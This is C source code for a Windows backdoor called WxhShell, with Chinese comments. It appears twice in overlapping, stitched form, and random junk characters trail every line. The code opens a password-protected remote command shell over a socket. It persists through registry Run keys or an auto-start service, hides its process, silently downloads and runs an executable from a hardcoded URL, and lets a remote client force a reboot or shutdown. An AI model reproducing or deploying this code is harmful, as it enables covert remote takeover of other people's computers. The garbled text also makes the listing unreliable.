    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B-@ ]+W  
    if(Boot(SHUTDOWN)) &K1\"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o:E_k#Fi  
    else { <K$X>&Ts  
    closesocket(wsh); ? x*Ve2+]  
    ExitThread(0); -t<8)9q(  
    } O[tOpf@s.  
    break; ]Tb ?k+a  
    } Vh.9/$xQ  
  // 获取shell ^X&n-ui   
  case 's': { rM sd)  
    CmdShell(wsh); WxN@&g(  
    closesocket(wsh); rW~hFSrV[o  
    ExitThread(0); eC9nOwp]xH  
    break; h;^H*Y&`  
  } :|GC~JElo5  
  // 退出 M=mzl750M  
  case 'x': { &m>yY{ be  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tKnvNOhn  
    CloseIt(wsh); ,}("es\b  
    break; dKOW5\H'  
    } ^^ Q'AE  
  // 离开 ;oKN8vI#7  
  case 'q': { :f~[tox  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); IsaL+elq|  
    closesocket(wsh); 5eZ8$-&([  
    WSACleanup(); DP(JsZ}  
    exit(1); !L+4YA  
    break; Z/|oCwR  
        } M!{;:m28X!  
  } O3?3XB> <  
  } hU:M]O0uw  
[@l:C\2  
  // 提示信息 \Bg;^6U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ),G?f {`!  
} 5pOb;ry")`  
  } qhKW6v  
0I8w'/s_g9  
  return; pwiXA{  
} =Me94w>G3X  
V/=NIeSE  
// shell模块句柄 Pl@3=s!~>~  
int CmdShell(SOCKET sock) f{b$Y3  
{ Z*Sa%yf  
STARTUPINFO si; c k$ > yk  
ZeroMemory(&si,sizeof(si)); aR iD}P*V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '8au j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <.DFa/G   
PROCESS_INFORMATION ProcessInfo; kl0!*j  
char cmdline[]="cmd"; ;3nR_6\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [hLSK-K 9  
  return 0; BCw5.@HK*  
} x1gfo!BN  
-QUr|:SK:  
// 自身启动模式 ?r~|B/ ]  
int StartFromService(void) duCso M/  
{ m+f?+c6  
typedef struct M![aty@  
{ (QO8_  
  DWORD ExitStatus; gUfLw  
  DWORD PebBaseAddress; nLA8Hy"8z  
  DWORD AffinityMask; >i`V-"x  
  DWORD BasePriority; F"3LG"  
  ULONG UniqueProcessId; J 8/]&Ow  
  ULONG InheritedFromUniqueProcessId; #cN0ciCT'  
}   PROCESS_BASIC_INFORMATION; 7e{w)m:A  
5hVp2 w-  
PROCNTQSIP NtQueryInformationProcess; NTnjVU }  
Km5#$IiP;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l!U_7)s/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z!@<[Vo6  
WUVRwJ 5  
  HANDLE             hProcess; 5h"moh9tG  
  PROCESS_BASIC_INFORMATION pbi; : ryE`EhB  
Im NTk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -~nU&$ccL  
  if(NULL == hInst ) return 0; Hs%;uyI@$  
])d_B\)Kck  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E]^wsS>=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `/zx2Tkk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a(+.rf;  
?2Q9z-$  
  if (!NtQueryInformationProcess) return 0; tBtG- X2  
&f}a`/{@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZnX]Q+w  
  if(!hProcess) return 0; ^E)Kse.>  
&P+7Um(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E%R^ kqqr  
>~;MQDU5*Y  
  CloseHandle(hProcess); Kq`C5  
y^7ol;t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {Vc%ga|E  
if(hProcess==NULL) return 0; )2@_V %  
x%acWeV5  
HMODULE hMod; *Q?ZJS ~  
char procName[255]; V3<baxdE  
unsigned long cbNeeded; y*Egt`W  
#6XN_<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B{\cV-X$0  
0JQ0lzk1  
  CloseHandle(hProcess); K#j<G]I( @  
~$#"'Tl4J  
if(strstr(procName,"services")) return 1; // 以服务启动 (dOC ^i  
1_D|;/aI  
  return 0; // 注册表启动 o80"ZU|=  
} M YQZqlV  
BPp`r_m8w}  
// 主模块 W/(D"[:l%  
int StartWxhshell(LPSTR lpCmdLine) l 8I`%bu  
{ gW{<:6}!*  
  SOCKET wsl; 'cs!(z-{x  
BOOL val=TRUE; KO`ftz3 +  
  int port=0; k7rFbrL Z  
  struct sockaddr_in door; %M=[h2SN  
m5O;aj* i  
  if(wscfg.ws_autoins) Install(); v/n4Lp$W^  
\a:#e%]qz9  
port=atoi(lpCmdLine); _ >)+ u  
P\;L#2n  
if(port<=0) port=wscfg.ws_port; L5%t.7B  
j2V"w&>b}  
  WSADATA data; gy|L!_1Z8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QXXB>gOY5  
s}MD;V&0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1Sk=;Bic  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 08J[9a0[  
  door.sin_family = AF_INET; /az}<r8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .A;e` cKb  
  door.sin_port = htons(port); _[zZm*  
!.(Kpcrg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uSZCJ#'G  
closesocket(wsl); axJuJ`+Y  
return 1; =oZHN,  
} mWOW39Ku  
>]6f!;Rt  
  if(listen(wsl,2) == INVALID_SOCKET) { :n'$Txf  
closesocket(wsl); E5a1 7ra  
return 1; `6`p~  
} v-zi ,]W  
  Wxhshell(wsl); -f&16pc1t  
  WSACleanup(); s@USJ4#  
yc4?'k!  
return 0; -__RFxG  
9`83cL  
} F`/-Q>Q  
=o N(1k^  
// 以NT服务方式启动 2K^D%U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sVk+E'q  
{ qPh @Bl3  
DWORD   status = 0; I r8,=  
  DWORD   specificError = 0xfffffff; .hBq1p  
G?:{9. (  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Yt]tRqrh;T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BMubN   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~%SmH [i  
  serviceStatus.dwWin32ExitCode     = 0; uvN Lm]*  
  serviceStatus.dwServiceSpecificExitCode = 0; XRZj+muTZ  
  serviceStatus.dwCheckPoint       = 0; 6f"jl  
  serviceStatus.dwWaitHint       = 0; l(c2 B  
Q5[x2 s_d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lSMv9 :N  
  if (hServiceStatusHandle==0) return; bve_*7CEM  
4*k>M+o/C4  
status = GetLastError(); ~UrKyA  
  if (status!=NO_ERROR) AYhWeI+  
{ |u r/6{Oj1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L-&N*   
    serviceStatus.dwCheckPoint       = 0; )-98pp7~BB  
    serviceStatus.dwWaitHint       = 0; ` Aa}q(}k  
    serviceStatus.dwWin32ExitCode     = status; kF%EJuu  
    serviceStatus.dwServiceSpecificExitCode = specificError; U_s3)/'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MQs!+Z"m>  
    return; #Tc]L<."  
  } 8fV.NCyE  
o1Bn^ w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nWfzwXP>_  
  serviceStatus.dwCheckPoint       = 0; oXC|q-(C  
  serviceStatus.dwWaitHint       = 0; bjn: e!}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1D *oXE9Ig  
} fL0dy[Ch@  
9((BOq  
// 处理NT服务事件,比如:启动、停止 ~ m/nV81  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Xk9mJ]31LC  
{ lk.]!K$}  
switch(fdwControl) wM$N#K@  
{ `ChS$p"A  
case SERVICE_CONTROL_STOP: mf~Joluc J  
  serviceStatus.dwWin32ExitCode = 0; noSkKqP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _&(\>{pm  
  serviceStatus.dwCheckPoint   = 0; xwuGJ   
  serviceStatus.dwWaitHint     = 0; [ B{F(~O  
  { v|!u]!JM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6MCLm.L  
  } /{)}y  
  return; 0bG[pp$[  
case SERVICE_CONTROL_PAUSE:  Dno]N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NCrNlH IF  
  break; Cz1Q@<)  
case SERVICE_CONTROL_CONTINUE: / @v V^!#1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4>x$I9^Y!  
  break; /"(`oe<  
case SERVICE_CONTROL_INTERROGATE: z3n273W>6  
  break; y4\(ynk  
}; JfOBZQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a&^HvXO(>(  
} ro&/  
a+HGlj 2>  
// 标准应用程序主函数 [Rj_p&'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^sF/-/ {?U  
{ iXoEdt)  
yH=Hrz:<eM  
// 获取操作系统版本 q8m{zSr  
OsIsNt=GetOsVer(); WGmXq.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (vR9vOpJ  
r\PO?1  
  // 从命令行安装 )WBp.j /#  
  if(strpbrk(lpCmdLine,"iI")) Install(); Abw=x4d(i  
V 4#bW  
  // 下载执行文件 G '1K6  
if(wscfg.ws_downexe) { 3_DwqZ 'O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8O[br@h:5  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1>c^-"#e^  
} #QUQC2P(~  
#&k`-@b5|  
if(!OsIsNt) { 539f B,  
// 如果时win9x,隐藏进程并且设置为注册表启动 jv ;8Mm  
HideProc(); 7 @W}>gnf  
StartWxhshell(lpCmdLine); Io;x~i09K  
} < )qJI'u|  
else ?&`PN<~2z  
  if(StartFromService()) Ad}Nc"O  
  // 以服务方式启动 ]|xfKDu  
  StartServiceCtrlDispatcher(DispatchTable); N9dx^+\  
else `{oFdvL~)  
  // 普通方式启动 5cUz^ >  
  StartWxhshell(lpCmdLine); ; b`kN;s  
e,?qwZK:y  
return 0; MdC}!&W  
} `i `F$;  
+=Y[RCXT  
l cX'n8/3  
>;K!yI?0  
=========================================== "Wb>y*S   
Q4Zw<IZv5  
H2jF=U"=  
 * Cj<Vy  
g1H$wU3eu  
LJgGX,Kp  
" v:IpZ;^  
iW?z2%#  
#include <stdio.h> qg06*$%  
#include <string.h> )KdEl9o  
#include <windows.h> al{}_1XoU  
#include <winsock2.h> Nx;Oz  
#include <winsvc.h> L^FQ|?*  
#include <urlmon.h> z%q)}$O  
a5k![sw\  
#pragma comment (lib, "Ws2_32.lib") p 2>\  
#pragma comment (lib, "urlmon.lib") W9rmAQjn  
!hugn6  
#define MAX_USER   100 // 最大客户端连接数 f-BPT2U+  
#define BUF_SOCK   200 // sock buffer T;M4NGmvd  
#define KEY_BUFF   255 // 输入 buffer TFZxk  
"$I8EW/1  
#define REBOOT     0   // 重启 FyhLMW3  
#define SHUTDOWN   1   // 关机 O<`N0  
}~#Tsv  
#define DEF_PORT   5000 // 监听端口 o)L)|  
uPVO!`N3  
#define REG_LEN     16   // 注册表键长度 0{'m":D9  
#define SVC_LEN     80   // NT服务名长度 J $^"cCMr  
0sP*ChY5S  
// 从dll定义API N|2PW ~,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &5y|Q?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  rY CIU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); df)S}}#H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3Viz0I<%  
rqWD#FB=z  
// wxhshell配置信息 e9;5.m  
struct WSCFG { >c@jl  
  int ws_port;         // 监听端口 Tr.u'b(  
  char ws_passstr[REG_LEN]; // 口令 mhgvN-? "h  
  int ws_autoins;       // 安装标记, 1=yes 0=no WB.w3w [f  
  char ws_regname[REG_LEN]; // 注册表键名 ce<88dL  
  char ws_svcname[REG_LEN]; // 服务名 s$Vz1B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZA7b;{o [  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W_L;^5Y;m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y`*h#{|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W|L#Q/ RX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !!<H*9]+W;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3kavzB[  
v05$"Ig  
}; _Wtwh0[r*  
PVi0|  
// default Wxhshell configuration qQwf#&  
struct WSCFG wscfg={DEF_PORT, Tl L,dPM  
    "xuhuanlingzhe", FL[,?RU?2  
    1, >aAsUL5W  
    "Wxhshell", \'6%Ld5km  
    "Wxhshell", b?j\YX[e  
            "WxhShell Service", P]0/S  
    "Wrsky Windows CmdShell Service", aeE~[m  
    "Please Input Your Password: ", i<M F8 $  
  1, YJF|J2u  
  "http://www.wrsky.com/wxhshell.exe", .k"unclT0  
  "Wxhshell.exe" ,: Ij@u>)  
    }; 6Zx)L|B  
97pfMk1_  
// 消息定义模块 XC!Y {lp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {#,?K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ] Jnrs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W+i&!'  
char *msg_ws_ext="\n\rExit."; W.c>("gC  
char *msg_ws_end="\n\rQuit."; 48)D%867.;  
char *msg_ws_boot="\n\rReboot..."; gLwrYG7@  
char *msg_ws_poff="\n\rShutdown..."; 'd]t@[#  
char *msg_ws_down="\n\rSave to "; @5h(bLEP  
;TL>{"z`x  
char *msg_ws_err="\n\rErr!"; CsJ&,(s(  
char *msg_ws_ok="\n\rOK!"; EvptGM  
: j`4nXm  
char ExeFile[MAX_PATH]; X`A+/{ H  
int nUser = 0; 7;a  
HANDLE handles[MAX_USER]; ^g=j`f[T  
int OsIsNt; 6eQa @[.Q  
!l$k6,WJi  
SERVICE_STATUS       serviceStatus; <C_FRpR<f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q4SEvP}fLx  
LaYd7Oyf]  
// 函数声明 p^s:s-"f\  
int Install(void); ZKJhmk  
int Uninstall(void); u =lsH  
int DownloadFile(char *sURL, SOCKET wsh); MxqIB(5k  
int Boot(int flag); y9~:[jB  
void HideProc(void); @!*I mNMI  
int GetOsVer(void); 0.&-1pw  
int Wxhshell(SOCKET wsl); ,7)z avA  
void TalkWithClient(void *cs); Ud_0{%@  
int CmdShell(SOCKET sock); xk7VuS *  
int StartFromService(void); \;1nEjIA  
int StartWxhshell(LPSTR lpCmdLine); qS?^(Vt|R  
#kgLdd"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0lU pil  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N_E)f  
T%yGSk  
// 数据结构和表定义 L]E.TvM1*  
SERVICE_TABLE_ENTRY DispatchTable[] = oxug  
{ L|p+;ex  
{wscfg.ws_svcname, NTServiceMain}, EUby QL  
{NULL, NULL} P1&Irwb`  
}; O f]/tdPp  
,+v>(h>q  
// 自我安装 ^;[^L=}8$  
int Install(void) |Es,$  
{ gkDXt^Ob  
  char svExeFile[MAX_PATH]; rQ(u@u;  
  HKEY key; C[CNJ66  
  strcpy(svExeFile,ExeFile); $ve*j=p  
PY#_$ C  
// 如果是win9x系统,修改注册表设为自启动 >]x%+@{|  
if(!OsIsNt) { hX:yn:P~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sj&1I.@,>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z8j7K'vV1  
  RegCloseKey(key); & kQj)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P"|-)d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |Y30B,=M  
  RegCloseKey(key); ^nLk{<D35  
  return 0; ~&WBA]w'+  
    } *9US>mVy  
  } q! WiX|P  
} kR <\iT0j  
else { 5Vr#>W  
=3=8oFx8  
// 如果是NT以上系统,安装为系统服务 <CWOx&hr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tlgg~MViS  
if (schSCManager!=0) ^*F'[!. p  
{ zqLOwzMlLx  
  SC_HANDLE schService = CreateService {[bB$~7Eu  
  ( U.1&'U*  
  schSCManager, %>1C ($^  
  wscfg.ws_svcname, 4JL]?75  
  wscfg.ws_svcdisp, UYGO|lkEU  
  SERVICE_ALL_ACCESS, |$[.X3i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e\ }'i-  
  SERVICE_AUTO_START, \)cbg#v  
  SERVICE_ERROR_NORMAL, {6mFI1;q  
  svExeFile, /d> Jkv  
  NULL, f.:0T&%G  
  NULL, |eksvO'~  
  NULL, +*G<xW :M  
  NULL, :ay`Id_tm  
  NULL ]?_V+F  
  ); _Nf%x1m5s  
  if (schService!=0) =(Y+u  
  { C|RC9b  
  CloseServiceHandle(schService); cXNR<`   
  CloseServiceHandle(schSCManager); |N|[E5Cn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UPkc-^BN  
  strcat(svExeFile,wscfg.ws_svcname); OG^#e+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZeH=]G4Zv7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^2nH6,LPS  
  RegCloseKey(key); juMHc$d17  
  return 0; "5"{~3Gw^  
    } HBZtg  
  } 5>-~!Mg1  
  CloseServiceHandle(schSCManager); cK75Chsu  
} V=E5pB`Pr  
} j3fq}>=  
N~DO_^  
return 1; C\* 0621  
} OKnpG*)u=g  
&<# ,J4  
// 自我卸载 Hi&bNM>?O  
int Uninstall(void) 54Vb[;`Kkb  
{ n66b(6"mO2  
  HKEY key; UW&K\P  
~I@ % ysR  
if(!OsIsNt) { ~sTn?~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oot kf=  
  RegDeleteValue(key,wscfg.ws_regname); 1$ENNq#0  
  RegCloseKey(key); -Zqw[2Q4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K*5Ij]j&  
  RegDeleteValue(key,wscfg.ws_regname); Y r8gKhv W  
  RegCloseKey(key); S^r[%l<'n  
  return 0; Wv30;7~  
  } nbBox,zW  
} =_[Ich,}  
} `&J=3x  
else { r|3<UR%  
3u'@anre  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x";4)u=  
if (schSCManager!=0) BLb'7`t  
{ 5yf`3vV|3@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b7HT<$Wg  
  if (schService!=0) uf`/-jY  
  { wpOM~!9R  
  if(DeleteService(schService)!=0) { @"afEMd  
  CloseServiceHandle(schService); Hqb-)8 ~  
  CloseServiceHandle(schSCManager); MX7$f (Hy  
  return 0; VVc-Dx  
  } "Jg* /F  
  CloseServiceHandle(schService); d V3R)  
  } _ !k\~4U  
  CloseServiceHandle(schSCManager); )_K:A(V>  
} DS7Pioa86  
} J74kK#uF=  
SA~oGgk=P  
return 1; L/,M@1@R  
} nz Klue  
j^D/ ,SW  
// 从指定url下载文件 q^b12@.  
int DownloadFile(char *sURL, SOCKET wsh) vZIx>  
{ o 'Z W  
  HRESULT hr; :-j/Y'H_  
char seps[]= "/"; H4BuxM_r  
char *token; +[#^c3x2  
char *file; 2K2_-  
char myURL[MAX_PATH]; B";Dj~y  
char myFILE[MAX_PATH]; /?S,u,R  
"gt*k#  
strcpy(myURL,sURL); '3B7F5uLx"  
  token=strtok(myURL,seps); Lp{/  
  while(token!=NULL) _J0(GuG=~  
  { ]"i^ VVw  
    file=token; F "-GhjK  
  token=strtok(NULL,seps); ($[@'?Z1  
  } cB2~W%H  
^F-AZP /5F  
GetCurrentDirectory(MAX_PATH,myFILE); <#lNi.?.  
strcat(myFILE, "\\"); nW]T-!  
strcat(myFILE, file); ?d)FYB  
  send(wsh,myFILE,strlen(myFILE),0); RY~m Q  
send(wsh,"...",3,0); a'7RzN ,]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `12Y2W 9  
  if(hr==S_OK) D`PA@t  
return 0; LP} j0)n  
else #$JY &!M  
return 1; <KZ J  
2MDY nMy  
} A~8-{F 31  
!-8y;,P  
// 系统电源模块 HCaEETk5  
int Boot(int flag) B`|H }KU  
{ La si)e=$<  
  HANDLE hToken; t8Giv89{  
  TOKEN_PRIVILEGES tkp; 3EyVoS6D  
m"vWu0/#  
  if(OsIsNt) { uD4$<rSHb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :BUr8%l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ExSy/^4f  
    tkp.PrivilegeCount = 1; JjHQn=3AJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?YnB:z*eV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Edl .R}&1  
if(flag==REBOOT) { zC!Pb{IaH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \C`2z]V%  
  return 0; t,qz%J&a  
} 4M>EQF&  
else { Y^'mBM#j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XI5q>cd\Sz  
  return 0; e;&fO[ 2  
} ptTp63+  
  } BtKbX)R$J  
  else { t ZA%^Y  
if(flag==REBOOT) { [?F]S:/i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z5t"o !  
  return 0; - s0QEQ  
} zG~nRt{4  
else { $!:xjb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k#<Y2FJa  
  return 0; CK1gzIg>  
} n#)kvr  
} jn>RE   
0zXF{5Up  
return 1; ljjnqQ%  
} >>0c)uC|W  
}E\u2]  
// win9x进程隐藏模块 TuzH'F  
void HideProc(void) ;V4f6[<]'z  
{ s6_[H  
* v u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LZA pz}  
  if ( hKernel != NULL ) "@ @Z{  
  { +<n8O~h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pv,I_"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Dqm;twd>  
    FreeLibrary(hKernel); 7 JVonruaR  
  } X=pPkgW  
E7|P\^}m(f  
return; m"mU:-jk`  
} O-]^_LV`  
usI$  
// 获取操作系统版本 \rmge4`4  
int GetOsVer(void) 2-gI@8NPI  
{ TRQH{O\O  
  OSVERSIONINFO winfo; &y.6Hiy&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )[5.*g@  
  GetVersionEx(&winfo); f=nVK4DuZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~9dAoILrl  
  return 1; G0v<`/|>}  
  else go5l<:9  
  return 0; BY??X=  
} n; *W#c  
|1Pi`^  
// 客户端句柄模块 s F3M= uz  
int Wxhshell(SOCKET wsl) w-?Cg8bq<  
{ x-@6U  
  SOCKET wsh; ZVz`-h B  
  struct sockaddr_in client; +zSdP2s  
  DWORD myID;  ~b LhI  
`r.  
  while(nUser<MAX_USER) Mt+gg F.  
{ \FjY;rqfKe  
  int nSize=sizeof(client); ;.b^A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); firiYL"=44  
  if(wsh==INVALID_SOCKET) return 1; Be2yS]U  
BI 0 A0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Qb&gKQtt@  
if(handles[nUser]==0) F[==vte|  
  closesocket(wsh); +v"%@lC};  
else q<w Q/m  
  nUser++; 1<3!   
  } = j S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !gFUC<4bu  
kIYV%O   
  return 0; &p:GB_  
} nAW`G'V#  
]LZ,>v  
// 关闭 socket I xE }v%&  
void CloseIt(SOCKET wsh) iU a `<  
{ :*s+X$x,<  
closesocket(wsh); kK$*,]iCp  
nUser--; y,=TB#  
ExitThread(0); *p7_rY  
} O,?aVgY  
{-)*.l=  
// 客户端请求句柄 x>~.cey  
void TalkWithClient(void *cs) Q1?0 ]5  
{ y`.m'n7>P  
^ ]CQd   
  SOCKET wsh=(SOCKET)cs; U Zc%XZ`"V  
  char pwd[SVC_LEN]; [49Ae2W`  
  char cmd[KEY_BUFF]; ${)s ~[  
char chr[1]; nW `EBs  
int i,j; TGu]6NzyZ  
<Z8^.t)|  
  while (nUser < MAX_USER) { ]*JH~.p  
7.tEi}O&_g  
if(wscfg.ws_passstr) { gVI2{\a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d]w%zo,yr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :pPn)j$  
  //ZeroMemory(pwd,KEY_BUFF); ~TfQuIvQB  
      i=0; r&c31k]E  
  while(i<SVC_LEN) { Z7Xic5PI{4  
eFdN"8EW  
  // 设置超时 WHvU|rJ  
  fd_set FdRead; 9V( esveq  
  struct timeval TimeOut; ?br4 wl  
  FD_ZERO(&FdRead); [u}2xsSx  
  FD_SET(wsh,&FdRead); &%`Y>\@f  
  TimeOut.tv_sec=8; /f) #CR0$  
  TimeOut.tv_usec=0; It3.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RTRi{p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SHT^Etri  
<P4*7:jX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f!aE/e\  
  pwd=chr[0]; LX_{39?<{  
  if(chr[0]==0xd || chr[0]==0xa) { ;(,1pi7|  
  pwd=0; ZP^7`q)6  
  break; ;IX*4E'4s  
  } Z* L{;  
  i++; H{nYZOf/  
    } UAq%Y8KA  
^NPbD<~Lb  
  // 如果是非法用户,关闭 socket H.8Vm[W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 58H%#3Fy  
} u}~%9Pi  
"[BDa}Il  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,3E9H&@j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XT0:$0F  
t?:Q  
while(1) { 8  }(ul  
s/J/kKj*s  
  ZeroMemory(cmd,KEY_BUFF); dT*8I0\+  
rc9Y:(S1l  
      // 自动支持客户端 telnet标准   #cD20t  
  j=0; 8Q Nd t  
  while(j<KEY_BUFF) { 9 ?~Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iu(+ N~  
  cmd[j]=chr[0]; !@vM@Z"  
  if(chr[0]==0xa || chr[0]==0xd) { K:g:GEDgf  
  cmd[j]=0; 0x/3Xz  
  break; zr5(nAl  
  } DTR/.Nr'K  
  j++; auS.q5 %  
    } =y kOh_M  
C #A\Rfi  
  // 下载文件 5zBayJh#  
  if(strstr(cmd,"http://")) { d$(>=gzBQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  {!9i8T  
  if(DownloadFile(cmd,wsh)) wu2C!gyBo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Ufv,_n  
  else Vdz(\-}ao  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GxR, 3  
